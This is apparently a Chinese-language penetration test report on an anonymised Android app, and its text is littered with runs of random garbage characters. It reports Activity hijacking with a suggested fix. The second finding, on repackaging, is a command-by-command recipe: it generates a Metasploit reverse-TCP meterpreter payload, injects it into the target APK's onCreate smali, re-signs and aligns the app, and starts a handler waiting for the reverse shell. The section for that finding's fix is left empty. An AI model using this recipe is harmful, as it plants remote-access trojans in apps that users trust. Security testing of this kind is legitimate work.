原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

0 r" ]9 Z E% z+ K8 s0 t( h 0 p1 A3 U1 }) K+ C8 l1 G$ z

" ~' c) Z! t0 ^( {7 }( R ; j6 K5 U' \- R7 l/ E# W: k, C

2 b' d& v$ q9 X1 D, E* b4 u

; y& C, ^0 z5 |, u, } 文档编号：                : R$ Z7 f+ o% U) q, v6 R 7 ^0 _4 M3 [+ T, t& Q

r) l0 y+ Y; `: _# ?0 _( l 3 o3 L+ ~0 y- H8 y S9 z+ R

1 D( i1 @5 _) ?$ _/ {  

' f# L- a: J( _0 U" W2 h. A

* R% ]5 _$ [# ~7 D4 k; h   5 l, i+ ^3 U% L1 S" W# l ( P- N, v6 Q# S8 S6 W# ]

5 I8 S5 S" V7 p: L1 v+ O

 

: f+ x, y5 p ?& H* Z3 d * }! A! g* V9 V+ {" S0 L. C

% f4 }) P% }: Y3 T- w/ i   ) F; i* _6 b3 C1 g; a1 a , b- }4 M) v) E2 h; Q- I

6 B; D3 W- |. C( [7 D" @

, S. i8 [3 x$ v; w) {# d % f3 q! S0 u$ _8 }3 n7 |   # i! C. R( E% G: d( L3 H& }' I 6 @2 _# D/ ^5 p, X$ ]

- e3 I% R7 r+ o! z* Z

7 J" W$ C8 {) ]& D( S 某某某APP渗透测试 & D4 l; B, S7 |6 n+ }5 K: i; G& K $ l6 {$ u, ~6 u; y1 t

0 }9 k& L' ? I7 w9 g3 N

5 r% ~8 ^& y6 @  

! G: W6 @0 D, F5 L

0 Y1 C& b- V( D- ]" A   5 M8 h; o, o& K- h2 u% S

+ P- f z& _' f0 ^: w

  2 ~9 s! ^& T# J/ O% ? v

! F& I! d8 `1 `( G

% E' }! T- N `! A   6 p' P8 [ ^$ K( N: J! j4 B- S

4 d# M: s8 q1 r# p+ L

' G T) K7 |. u 技 术 报 告 : j1 j9 }7 u0 R9 ]

0 o/ T' k3 r& A0 K2 u. c J# s1 t6 R5 B5 z

" |) K6 E5 ?4 |) c1 C   2 ^, J0 m4 m& g) q; {' M% A6 M

4 k: @9 O# q9 [% U* ?8 g0 C

9 x5 X, U/ Q: W8 ?   , @. T+ A7 H/ d3 ?- J, ]8 t" e

/ m# M$ K9 c. \, X, [7 C: ~

- u- k9 }6 G; I& h$ g( f  

+ R$ J6 h& M4 \

" ?& |( s3 w2 y) v: Q   + \+ Z' {+ H% @7 E

! n( p1 \& }/ N7 Q9 t( ]

4 Z7 g6 r; j6 f9 D# T6 R- C   ! j2 k5 ^8 v3 b4 a0 U* N

) W# T. o5 {1 J8 z) ]7 @

q! r, |, j* v3 n, b( E; u   & X. e% w7 _0 Z1 s- s2 Y' x; ^- @ 5 W4 @- _' \" m" e8 |

  0 e/ g& g- T) b; X/ [# V8 T% C/ d

+ \- v: ?8 ~1 \5 {5 n7 s

& h" b) p1 F( w. Z9 _; }6 m; G  

6 r* {* T) \- j/ o: W; S 8 o( [: @! x `* b$ M* e1 C+ y

3 H% ] E4 m2 [; r( Z   1 @: O) U5 ^/ U1 x

# Q6 g$ X7 J/ O

; A3 ?) }8 m. k/ _  

& s9 B' S8 T1 G; ] |6 S

  " c$ S2 h+ \3 u( n: {

* w2 ~2 t8 X: a0 t0 x

 

: |8 @# ~" @4 j2 E$ i0 g% d; b- o1 f ! e1 `! U3 |; t+ |4 h

, A! c# G5 n0 h* a) p+ _ ; d6 d3 o. j' H" T. b  

0 G9 w [- R& O" J6 }9 K( r  

: p% Q& h6 r7 g* E/ @

  , ~6 V! X( E' d$ h

! r3 X% Z& N! R

0 P1 h3 f L2 C# u2 O! u   / ~. K j' ^0 _: N2 y" f2 T8 a

' y0 b: |4 p2 w% ~0 t& ]$ ^

& y# F) ^- _% u% W" `/ w" A   ' T( n7 n; \3 {" G. K8 a 8 W0 Q- p0 ^7 c' I& m

( ~1 E' X! R1 A2 t# ?! ^# g 6 X8 W: d+ ~; [$ X; `% V# }* _

7 O0 f) {1 a; w$ ^   2 N4 T9 ]7 i0 \! s0 y* Q+ \5 X" ~

8 ~' r/ M4 } \; L9 N% K0 T- w0 [' @

- b0 j! Q. i" j$ p7 i9 W 二〇二〇年 " l# d) b1 h ?1 K2 H) \! }8 Y

" J9 {! ~4 y5 {3 p 0 Y; ~7 w% B. F3 b+ J2 h

2 T2 f2 b+ w- B, ]6 ? 6 B3 i7 f" e& T0 }3 f
+ a9 k% ?: Q( C, B % h9 x$ f, o% Q5 v, \7 w& b! h, L 8 b* S$ _5 v9 R

' D* m6 x9 M% _- V" l8 a, Y # i8 b) m0 I. R+ B2 t7 O: z

1 E5 Y- a( D, S8 r9 Y D/ G$ z) V
! k) e4 @6 Q- ~ ) t* w* v) \7 i5 V. _, b6 C. b' }

( w# n/ B$ H7 I1 l8 k1 b

. L, J+ N) T8 R# U) i 目 录

# n( p% B' B6 v0 o9 m7 m

& L! P3 K. W2 R, v( _   $ i& m# t* {2 S1 `! k / P4 a& e' Y' _8 K1 h! s4 T

6 b) k" s" z4 N& @( [; s

+ ~/ u. W: ^/ c; _9 q 1 概述... 3

1.2测试时间... 3 * V$ u( P9 U- Z8 O" e5 V; [4 U( e

4 j6 m) @. m" c( b. ? + d- v! J O% e$ U, v ~# e7 q

/ N& y. r/ M- @0 S/ A . S9 o3 d }* C$ @ 1.3测试对象... 3

) {1 B. O5 p; Y6 p9 [! q$ |& P1 S5 c; K

9 G2 V7 H! h2 H9 j# y. I9 T " q; Q- N$ o8 f0 X& M" ?" o 1.4测试结果... 3 1 r! _5 E. N* I) r' a- E * o2 w9 U# }2 t" g; I! v

9 y0 z/ R& R1 g # g7 h0 ? @2 a) C2 `! o1 N

B" T/ T6 g( U# J) W6 l, J- v 7 x: Z" M! i" P& l4 {9 L 2 检测结果... 4 3 X5 l' Q4 K6 F9 I% b/ f5 q

/ F, C$ U6 U- M. V9 Z3 Y $ i7 {8 s/ u: r0 z; G! W0 f

& @- H5 @3 n K& q) n: ~ 2.1 某某某... 4 4 P2 Z1 W1 z2 u/ n# r5 R" g

: a2 q. `/ C6 Y3 c) l, l% F H3 a5 N) n/ ~' z+ d3 q) R" s5 a4 y

2.1.1检测目标... 4 + Q2 N- m5 ?9 d3 Z9 v( m. |

9 p# N9 {8 r/ {5 L 2.1.2检测结果... 4 6 g8 ]' a" A) k5 S, `1 G " \3 `/ Q. P7 y. Q7 L' W

8 f2 K( s, C1 j; H0 t

2.1.2.1. 4

& ~, c' t% G2 H9 A% A% _1 k- p- I

2.1.2.2. 6 ! E/ x9 V' X8 |0 j- }3 O : R) g: @ g7 S9 B3 v! O' ^' y

: ~4 a: \6 y/ T) n

* z7 G5 B; N4 f0 e) w5 Y" D0 m

2 T7 K9 H5 I" B8 O8 m% V8 x% `' {9 d 5 ?" f1 t& r( l3 U- G h0 L 9 x4 N' O+ S- k

# l$ I4 Q0 A# ?' F9 Y

+ s: t7 b; g3 f7 U% D- l- ` 1 概述

+ Q, s1 R7 s$ A& C- a$ p - n5 i3 H' f) C: x; H' n2 |

1.2测试时间

# D5 i. q e0 `, Z2 a " j/ L$ i. l$ ?- g5 W$ Y0 X4 W2 }. }6 l% L' T7 G( g& M$ v) d! u$ ?* ^8 ~3 l5 O) E2 F: B: G: g; x: [5 c# \( Q0 p, [1 v+ Q8 Y! V7 @3 c& G3 C7 A7 G9 W& l4 n' B3 s$ b" l b- |8 e& Q* F1 d1 H1 k- g- P8 j4 i9 Y1 C" ~5 T1 e. @9 A0 p* M/ y: D; y% e' V1 s7 o# ]9 l1 a+ e, Z. L) Z- |5 m+ t/ `- G6 w6 a9 M" l; y- W7 B# ]) p. j) h' `" @" W

8 X8 t' e/ h* h$ l0 E: ~9 [- C 9 A, U% M% s$ B; L2 b% h! ] " j8 c2 [ o3 p+ S% V1 _ 渗透测试时间 9 B- {1 L$ J3 k# f8 }* x3 v# j " j, P) q7 Z$ z
) z! f' t. L. e" l9 k; U 起始时间 ' P/ N( I+ `: y4 `( e y O6 c ( Q# y# U" ?' T/ V% K4 V' l1 R	a; W7 |! P$ K6 B ! C0 @7 w0 [3 k* ?; V$ g 2020年4月6日 % d k, K' w2 R! A% f$ T0 A / W7 Q' q4 L Q( P# w 2 t0 }1 W8 S5 S% u& {
8 a: s2 e* [; a" t4 [) t3 p/ N % X O4 ]$ X/ y2 S3 [+ O 6 g8 S! h+ C6 j. o- X P ( o, Z) f) ]9 ]& ~8 U6 ]' z 结束时间 ! ~8 z9 }* U2 ^+ [	7 s) ?) d. e; u" d8 B 4 [. t) j9 n, {" N. u$ z) v( R 2020年4月9日 ) S4 B$ \, B8 H, a9 f) o0 w * f' ] H0 x3 L% ^2 h0 s1 [5 O- p

5 R( ~5 ]/ a6 T2 K7 O& i

6 ^3 B* a) u: k% t8 E7 D; d 1.3测试对象 - v. o$ [& Y7 ^

' _' N8 U |) U6 o* n- d

" }9 f0 h5 Z/ p" \2 v# N4 A1 U1 @ 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

`3 a4 t. u. k% Z; P+ [" ?

表1-1 检测对象 % w! Q5 J' Q2 D% a 1 }4 y4 h2 }: {- s

# T* s% `3 r( O; R& |! D3 S6 M! t$ ^/ r$ l z0 F( E8 A9 g# E3 X7 \4 ~3 n2 [6 P8 N* e P% E& [9 }. i* _( M% x1 @! Q) O. N3 a0 l8 B4 [+ L. }' m% S0 K1 H+ `9 M1 @9 l S' S+ A( g' @7 R4 M1 O! s7 N# X" I; d0 S; C k: O3 m3 t% v4 X4 w* G4 F' m R6 Y. Q3 ?, H; U3 `( k' }) b0 Z( o+ v, Y& y+ g2 W0 ^4 b* M- ?! G5 I+ u9 d8 W* S8 f/ t3 S9 _$ j8 w' B5 M2 }

) L' [# p, P5 R3 a. E9 X - @/ _# F) L, C' ?: p # j. s# X# v6 A8 ` 9 l0 z, i% c* @3 H( Q7 n4 k- V0 A 序号 $ @3 e* c; \: U. H" x ; E( k. i9 _/ E ( I( P2 m3 s* |8 |/ Q2 O' t5 G5 Q	% {9 e& H- L* q' P6 K # w& V2 c; r6 ~: @. ~ 4 e2 i+ O/ S9 ~' G 测试对象 ! d' X2 ~' g' `4 {	+ _4 D, e; h# z$ H4 ~& N9 a : P% e* n K2 l( e* C5 @: p" t 5 @# Y6 |' ~ Y i3 n( ^" O' K 测试地址 / E i* y7 H9 w ! Q4 ~% X% G7 ^. j5 _	) [( Z# P; u# N r/ l+ P) C) k) q 安全漏洞 $ p! P/ N/ e4 ~! x. J
& _' h% y" D. |6 `, h ( [2 _% ~+ a" S1 U L* ~ ! Y8 g' d" R* X/ F/ x* b4 t$ k 1 " M9 c/ W j }) v. T # `9 I# M6 G& D' |! u+ U* [* }	* w6 D+ I# G: `) b9 ? # C7 Q) F x, D# `: w6 w$ X 某某某安卓APP - R$ a S7 y/ z& b0 Q2 ]' ^4 N; G	8 {; p9 W0 h5 ~; G6 I7 h 0 v- d6 e; |! ]0 c$ |3 j . i+ P; @2 k( O0 f6 b6 j   1 ]! r% E t* |" n5 Y5 q * f- p1 `2 ]! G3 V h3 d: W 4 h; E+ ]: x3 q* O+ |	2 6 B h" Q- o+ R6 _5 J4 P. r 8 j" I4 |1 R3 E5 t- t a' P# ?$ c6 X8 o8 _) p

) L% D- X% O3 y1 M3 g- i

2 D1 }) d8 }7 b 1.4测试结果

& {% \! z" ?; r" v+ }8 ?

1 V' d0 Z( G4 `9 c/ l / F! g) k& A5 c6 q& m: u 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

* {0 R( m- |" x( r+ v3 |

. r, E p. O# P* G) u   8 b- c, b9 I0 k5 Y% j0 }8 l

3 D6 L' E' H8 o( R9 J- q

7 p5 X% D. \. _& D8 Q1 v! B }5 B, ~. [9 w3 R0 z" w0 }/ S( w. `" V6 _& J8 Q# x* P7 W9 }2 E1 \* B1 L/ i' ]: L! {8 s M2 @( l @, L0 r3 S" w$ F8 D5 d/ w; x" a. T1 S w( e2 I: B3 o, B% c( H k( Z( N V* {; n8 h7 d- t7 v ~/ |0 D8 J. z3 C# E8 x2 b$ S" o5 G2 }5 k! D$ o: L8 i) `' c% m* K! P! c5 y% I, w; z1 U; A0 j- @ H0 \* O" o" \2 Q$ s; A! k p* G8 C( b$ `# a9 u' Y# ~2 Z; ]8 |) f& c) A$ P9 u+ x7 k3 w# x2 p7 F# ^2 q# Z3 P; y6 B- g3 i9 X) s& ?% A8 A$ `$ H0 s0 R( _5 o+ M9 j! d# T

. Z5 `) q; x4 _3 M. | $ m/ F7 a7 [4 s. [ 序号 " z( V% P, j( P3 Q2 a: k$ t . g j3 F' g( R; F& T5 ^	# K$ k9 Q# d9 N" V! |/ w6 k 0 [5 ~: r/ L0 X- { 系统名称 ) O# }2 v; W2 `* J( J8 p7 L* R 1 Q; A, F5 O$ z! Z( m/ M" t 7 X1 @" I8 a p2 n! t! R 4 v0 n* J1 m0 n$ c0 M9 q8 s; o	漏洞名称 ( ^1 N L+ r/ ]; ]	" [/ Q9 c0 j, [! {1 v% y9 w" F! M 漏洞危害 ( S) m6 q7 F0 n2 v( a	5 ~1 g6 m2 } h 9 c! G; x; A2 R" f 修复结果 , I9 M7 [3 M; [" i 5 D) M( h! e2 z1 D7 I3 o# a* @
8 w. j$ w. w5 L5 B' V, M3 x2 F" m7 H ' t/ M& N# y" }% I4 F6 D 1 . _6 y) M+ G* t # h) H" O5 T" k# G( i	! h: r* W: C2 T3 Z 某某某某某某APP 8 O; f [0 u: P- v9 z; {( x 8 j8 B/ O/ _( [0 I8 a ! }7 h7 x& {4 ] - Q! ]4 A$ G! K5 o, T. P7 E# F% n	A; \5 J! m; V9 Q5 V: j : w/ k/ {. E! n5 s, v+ R3 _% C & o: m4 Z% P H& B: h. ^, T Activity 劫持 : l) h$ F4 H; y. ] # `6 L1 r+ C% c" M4 E w9 q # q D' b2 H& B & |( g. J2 ]" D5 l# K	0 C7 y% ]! @: r8 X: q- F' C/ ` 高 3 ]! W1 W% \1 u- S / t8 J: s, i1 H0 R6 ^ 6 z3 K: ^6 X8 S; s) R	% t+ p6 K( k& _; { " F) {" _, s% F+ G. c / ^! |/ s0 {( t& U/ I   ; A, W: ]* ~. m! N
: Q* B) c8 Z0 T' a0 o 2 - E$ m4 _' U" q0 W* D, f$ { $ w# o- E4 t- a3 E	; h& y2 d- w* e: V S* Y o4 {/ ] & i: ?5 _2 x6 R4 H . a# M; H/ d3 _7 R8 w 某某某某某某APP 9 u/ `8 m6 }. g3 |: n 6 i9 R+ L' n% S% Y 4 x4 B/ \* [+ f1 S	( ~; O1 v+ D r' z9 k 反编译二次打包捆绑木马、篡改APP代码 2 h$ x" X" m9 R* U7 X2 w7 Z' T + w( V8 N9 N3 j2 q; i : f! a# A8 _$ j V 1 m$ H! v- a' J5 v0 n( f: j	3 G' M$ E( d# D6 v( m. d) F 8 A' |: A! i0 e1 o! X3 A% @ 6 ]0 G! ?; b8 d' c8 T * ~' D3 q* d' g0 N. z6 a 高 0 Q3 k8 w- i( ]9 O5 |$ P% u Z4 d9 l \% b* a7 f8 z	8 M; r$ W3 \4 q( S7 `* I* t   % c6 L* C! a/ E# D3 P; a5 N, v

. W+ [$ w- c' o) O" l( H   6 Y6 J) u. W3 g& M1 p: \# w# R( r

1 d; Q7 M5 [2 `$ h1 n / w( u( I" f) X2 o h0 X0 B: j 表1-2 测试结果 * r3 E# g4 ^. R; k$ F: }# G# ?) m

& L$ T+ h( ]- V* ^1 k& P& g& [

6 ]5 c) b' k! ?/ n* Y+ y. P   1 ^1 a% B7 C+ t8 c5 a W' u 7 r0 ]4 ]: @2 j# k: G j1 d6 X" a( i

* w4 z8 @) ?9 J* H& | # r; a$ P$ N1 l$ b

* R" U' g8 E0 G/ F" k8 ^" s' T ; b W; K/ m9 T* V2 b 2 检测结果                   

* O' q- N' p4 L* t' D: J x, x5 T. \2 e4 [' w

" [4 i0 R. E) a/ A- ~! @+ f 2.1 某某某 K# e: [8 n) A1 k' u$ F

( v1 R9 y0 Q5 V/ F - Z. P+ P9 s: A/ e, R: ^* z/ g

2.1.1检测目标

* b% O0 k. J: q& X% W

5 s; A' }/ }( L `$ T0 r # c9 W0 c/ T% u/ E1 _2 O 目标地址： 某某某某某某APP 6 C- T; _7 _; S9 H) g

4 q4 R+ S. K3 i) X+ u3 k" a9 \ 2.1.2检测结果 " }3 I: e7 S4 Q: m- c + y4 B1 H$ n* @% [ N" j- ~

2 P! b) B5 j6 S7 k8 ~! \( V1 D q 0 f& u& _1 i* l1 c' H$ J

+ Q8 ^/ L/ F2 M+ r% n 2.1.2.1

$ D: c4 p$ m0 w2 ?. Q$ h% }9 k9 V

漏洞链接地址：某某某某某某APP ( {. o! m0 o, H

- w9 t' w% e5 t9 n 8 B: f: D6 C, z& s v2 R+ _

* j3 i. `; a. ~, u$ t ; e0 W. ?, J% y# v1 O t  

, c: `, I4 G8 |5 c; ]* _, V 漏洞分析及取证： # m$ B' @* B# j

0 f" v8 k, s6 H( p. K( v                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： - O4 B9 s2 _: T0 M' F

: w( D( @, \" {& f; X& u6 ?+ Q     

1 }+ T0 t$ Y! [5 c

, }; d6 k3 b; `/ P. G, T% o; Q 7 I7 h$ j8 I0 q, Q) U% N, t' H                       $ @. t0 ~! }; K& @9 m; Y7 i- C

. |+ t; d1 Y' Y9 H8 m6 N7 R

) F1 ^' c/ X0 v2 k4 } 6 D8 r2 W& E% b( k. `! L# u % m9 Z: k8 C- Q; l+ K ) x A. ]3 D; s6 S* Z3 ]: P

1 {2 t& O0 [6 t7 |$ e3 d1 [ + M% i$ m; [6 }% M& E; }1 M9 ]

. L/ R: \; V% h! a1 q

. E- l. Y: i' G, x9 J& ?& L0 B 4 s) E. ~/ m0 A7 o9 K3 E" x

: v8 t7 L1 j. m3 O4 } 漏洞危害：高 & Z7 h$ X. h# d" V# ?# ^

- F7 C, u' z# l! a1 S# r) b 5 M+ `- d: b2 ?5 Q: e1 X; F# T

3 q4 N- h4 e9 s ! Y- w0 K- D. }$ H; |% G7 x" p& K% {4 F5 M# U) ~$ H |/ {6 E% p# c8 a3 _9 b4 H4 L7 M. r% Q1 y2 ]& |! H5 u7 E3 `3 j9 \6 T8 X3 n. A3 v' W) r* B3 a+ N! n4 N, v" s* t6 @. @; h3 _' O2 F8 r( g1 d% U( ~0 z3 m/ p7 N- z3 p8 J- r5 W) j5 `8 d$ ]0 ^: o5 Q( c) o: _+ ^3 E* k4 E: |( k8 ~2 m" J+ I6 l; T: `. u; F% [, P6 g0 s/ y6 [( j# p8 Q) U9 T* U& E. ]" Q

$ }4 X @) S% f- |& {# ~! ~' H # i0 x- \ F* O1 R1 s & B9 I8 f) X8 ]8 a, X3 G9 A 严重程度 7 o y& [' N* K* k! r5 \2 A8 W : W8 R, E2 |6 c L# c0 F: Y9 V 5 _. I, ?! j/ {' n3 l	3 x, r5 S& H; x4 K 0 J8 f- ?$ _; b 高 7 f" V" H$ B" p ( E* K& a Z0 D	+ D- N* P! S0 m. M% Z! Q I; f* n. F3 l+ S" D" X# c( } ■ 8 P, V1 m5 i# n: q. e	* R" C& t6 U0 O& _, J/ w" G " }3 @, N, |; c 1 o1 Q$ e( B; F 中 4 e. l: K) n! x7 j1 |# y. o7 ~	, W2 Z( \/ ?3 K% _, j X   ) f; k3 B H2 B- z ' S* F; r, K# _	" i- z1 O* {! n/ t - W5 j: R; ?; P9 o) m: K, r$ U; _: Q 低 & l7 u) X- m6 P2 f: p- P3 F8 D	" N& ^% q0 {6 {0 s2 {! ` ) Z/ I( q5 G6 X) n q- q   # A1 L/ W% L" X1 [ * }- B* N5 P; [* [/ \ : _/ b( t6 ]2 d! f) }2 w

" E) e3 H0 S! F% c; _. ?' q. x

: K9 |0 D' v/ ]' v" i8 a ! b/ U: q% @! d4 h' n  

2 Y1 C- L7 w4 }; W* P' U

6 m7 i9 y4 U! e6 M+ @/ P3 @ 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 1 X' W7 Q$ x0 `& r r0 w, d( c

. ~* r. Z8 [, V) D9 K# k3 q           8 I7 d6 X( O0 z5 K+ w1 k! E Y ! W0 M& f( v! G/ F

4 J3 h3 W0 V; \- s/ C2 J. [

7 o0 @7 T) W& N   # P0 C- [" T1 }

; {% i/ y! D/ `; |$ G

! g7 D: t( P" B! F! b3 V ; [8 W$ w0 ]6 u/ i: \ 2.1.2.2

# @" Q* x8 {! U: Q$ i . A# s6 \0 \* s# r5 B

+ r6 }+ M' f# X5 S 漏洞链接地址：某某某某某某APP

( J: M9 R: t$ ^+ z 9 s( t7 a) Z" v- W0 Q/ F: N

( w. A8 r2 a; d3 j! j* H % h r4 R; p' I9 d 漏洞分析及取证： ' ~" x0 y) z1 K% c! E# f- i9 i$ b

. h2 m, S' M9 M7 z! B/ c3 X6 D$ n ( X$ ]& _) }: H

% i R+ t+ p X/ W& j# ^7 g . S7 m, n+ c7 S                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 2 S% u4 T: w6 X+ z, K

5 J. C1 D9 m5 n& x# K

9 _' L/ X) ~) ^, H1 \/ K" t 用Metasploit 生成木马 apk # H2 F; q/ s+ M' V

* y" A& |6 W% X' a3 h

4 V5 Z) ]/ e1 \/ R8 i msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

$ g! `* V1 b2 _- g$ D$ B ]; I 反编译目标apk和木马apk

$ m# U/ _& d3 ^7 O! ~

3 y9 r8 A" K _/ ? J0 l apktool d target.apk
4 q$ @# v, F9 \2 r7 o; f* i+ _7 ^& V apktool d cockhorse.apk + D7 h X3 o7 S3 c9 } * Z6 q) L1 Y1 O0 _

; w0 H0 O, a8 O5 G; Q& B, b( V7 g ! C% e. L5 m6 U3 T3 A

木马 apk 注入目标 apk 2 P2 a9 W5 H8 \1 `# A& f1 j

2 f! I. _4 z, @# a% b9 U 5 L1 h* m5 B: J2 J( O

+ ~/ m0 G( S5 ]7 W2 m 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
& b6 N6 @* ^; W# K+ \6 X invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复

' B/ |% Y* X8 | k& ?- ~3 ]

% D p" E' B' p2 `& H" I, k C # D" X0 |( D, y) K6 i 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

. P# N# j2 u- g# Y% H 0 z# K' ~; K1 F1 h" b+ F

" F! M% ^/ j, {1 ^" E 回编译生成最终 apk

! \3 O* G$ g G - ^/ _( I, Y: F# _

7 S- v2 X% J9 m) w4 m' Y# b 重新打包 6 g8 e" K8 u" K0 d . W. V" T" N1 v* I

, I6 k7 v; l. a- K

: F6 Y, w, C u) m# u apktool b -o repackage.apk target_app_floder ( w6 W2 J' F8 l) [ ) ^. E7 k+ H. N M$ s9 u

) Z7 s# e+ Y/ m7 f% L

( Q$ _- M& ^7 B) v; B 创建签名文件，有的话可忽略此步骤

+ P$ D$ N& n0 T' B

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                : i- _7 p! _/ M3 V w s6 z

2 x: n! c& }/ N) p, O/ i" b

9 P% k: j/ A0 |" `, ~' _ * y9 ^6 B J5 t, h0 J+ g 签名，以下任选其一

9 J0 p0 c/ L6 L# J' d' L( k

jarsigner 方式

9 ~; T. y5 x2 ?+ k 9 w6 D6 E, G3 q, @) D3 O

/ C8 [! s/ Y5 _6 ] jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

9 W" B, s7 }+ J" z0 J z apksigner 方式 ( A0 r7 }5 d6 x7 L1 S' J$ X

/ ~4 A: R9 E( p$ r

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk & ]$ T& s9 L- C( q2 u2 S% ?

8 Q3 N" J4 p9 ^, k7 A8 N

- ^( i5 u1 s- D$ ]) ` ) l( R3 p- v5 A, B0 S 如需要禁用 v2签名 添加选项--v2-signing-enabled false " \8 e8 ]" [) {7 C( X! `) z, U # L+ n% l" r" r

" G5 s# E3 d4 p . E# l. K8 I5 R# L; @3 `8 D8 n: y$ m

" n/ j4 h' k+ t" K) {1 [ 验证，以下任选其一

; W0 X5 d7 X: _% X. A( o jarsigner方式 / R- S) a8 ^6 u X% g* M4 C

1 G# o' X7 a2 n: O* T

) o4 V3 f0 J% A: A ) C( F3 h9 e5 o0 V) @7 v- K jarsigner -verify repackaged.apk & I: d+ e& ?! L

apksigner 方式 " P' }7 Q) ~2 C4 c4 G5 U. X/ L$ i6 r

apksigner verify -v --print-certs repackaged.apk

7 m ^: N, a. {! i* T

: z6 q! `4 ?" H1 k keytool方式 5 {" ?7 z* g' |' V: U N% U! I2 q

; O9 Z i0 y! |3 O% t

) S9 C) p; |" A8 m8 ], w" J. w keytool -printcert -jarfile repackaged.apk & {8 R% D3 t; p* a' i/ r

! O3 Y) \: W% H0 G2 c 4 q% ]& H {3 z M+ X

; I' U$ [$ I% b, E+ O3 E/ ] E) n 对齐 % J9 n, \+ F! s- @- J/ B! k

字节对齐优化 e- U/ ~* g; L6 }- C, A7 { 8 j" K( h8 A+ x$ p" M8 f

. X- S. n# L' A/ A7 t zipalign -v 4 repackaged.apk final.apk 2 y7 a' a* o) Q* s! Q% R 0 J+ j2 x* O) V" b, c+ h, @

) H- \! V5 K8 L1 O f: }. v# P

0 H5 h1 b% _; v$ Y- z1 r/ O 检查是否对齐

zipalign -c -v 4 final.apk 3 J P# y) G- ?& R3 h$ Y3 B% b 1 Y/ g) a/ O; c2 j! I( y' u. N2 x

U- I# E$ ]9 k ! o% m& m- v7 S' `' G. n

8 H! i9 O3 y) |6 }0 o, `& {. G 3 P' X$ c: g8 F: g 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 ; P4 C$ M/ |* l8 @# ]* j. m

启动Metasploit控制台，配置参数等待上线 / P/ V6 i- f" e0 c8 a; E* s" s

, c$ k3 ^' Z! S% ]

在终端依次输入如下命令 " I$ Y# j7 Z" m k/ ~

( T. @2 R8 B' C" X' l msfconsole

1 V( x+ m# B7 O

; [" t! Q9 \5 ~0 Z7 q3 f6 j use exploit/multi/handler

3 Q# O% P# ?8 p; U , s: @1 d0 m! k: W. w8 I( i0 T |% A set PAYLOAD android/meterpreter/reverse_tcp " f2 |& w8 Y- Z* j. z0 i

9 y! M0 h! T$ p- q% [& h 5 d3 E6 ^0 j2 k4 r. j% p y

set LHOST 192.xxx.xx.xx # U% D4 S/ j# x: G d1 v5 [3 ~9 S

& ?$ E& q# E: w' f! S- D* b9 N6 K) ~

set LPORT 4444 ; ]8 R4 w0 X, |

" j% h" h+ M: J

6 o! {; ?: c1 P6 l * o0 X" Z9 x9 q$ t exploit

# `# {: M. d+ y: k& Q

. Z" \1 B# v! v4 k* o+ W 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               # W3 C$ t6 s, d/ U& b2 G

+ `: H+ m$ G4 F2 v* k% G ! U) X; S8 A+ y& o& l

3 M! u2 D3 `" p- o, o. W6 F 漏洞危害：中 , A% {5 F8 I1 j, t4 X! T. W: O- z# l

8 c, q7 |- g9 z" o ' w! Z' `0 k* d+ X, e # a6 d5 p; I2 O& Z% ]0 X$ `2 c* e% M/ ]4 q# w& [% A( L8 k2 B( x- ^: _0 R$ z, g F+ _0 w# H& O9 n& g9 Z( A% R1 m p* }5 a4 L9 b! Q/ @& N Y8 x& H* k9 Z6 G6 T2 \. X0 |2 R/ V5 [ x5 H& z. Y; B4 }, {* ~: u' R: I* A4 @' Y6 p& Y* p4 h* y$ \3 d+ ]6 w3 P o+ g" M8 v3 z ]( @6 e

6 A$ A! q' g+ j5 ~ x. t% u T 4 ?; U t6 b% I3 ]3 D# A ; n$ B$ e# S: V( E - X* P# V2 ~6 D- ~+ l0 p( X 严重程度 & [, F0 W1 u9 y8 I5 X! k2 `	6 {& q! y+ m4 H! V! P& |1 m. A ( N" _- m* E% K8 p; C; z+ e 6 y2 B( M4 _5 l; w! U F 5 v! h# {& ~8 M* E, C 高 ! C& s- j8 p: W" m$ z	0 E% w1 R( c7 T8 `) Z7 h ■ * R0 r- m' U6 y1 p9 |+ ], E( W1 ?	; _1 l1 N o( V6 G ' |' p9 B& ^$ e8 l/ V! Q2 F9 t 中 3 t5 M1 P) u) u2 q8 h	0 W" s4 t+ l4 b# ` 7 h0 ^/ b3 M) i" Q# F   " o. k7 W3 l5 b x+ I/ p( a& F	! F/ ~& A O6 K7 D Z p. c- ]. M7 i9 r 低 % ?* |, q: e8 {8 }& k, e, o $ j2 j4 t2 k9 N2 `* _3 K- \9 F	! q; _: B- h, m ' h* H) w5 u2 {4 I- U" H 3 e+ u% H) U- p: X   5 {9 j6 q5 V9 @ # ^- d N9 R; {2 {# Z+ H f

. n! S$ H* f7 {( g

( p0 v' @2 b. y, L# B" j. L- |

# p1 A9 ?5 `& Z4 Y, e j$ t* r9 C) K& | B+ {   . v0 e- T j$ T- A

. N5 u4 k+ G- Y% T, ^1 H' G/ V 修复方法：

& K7 ?. ]" U; @8 h/ P& O

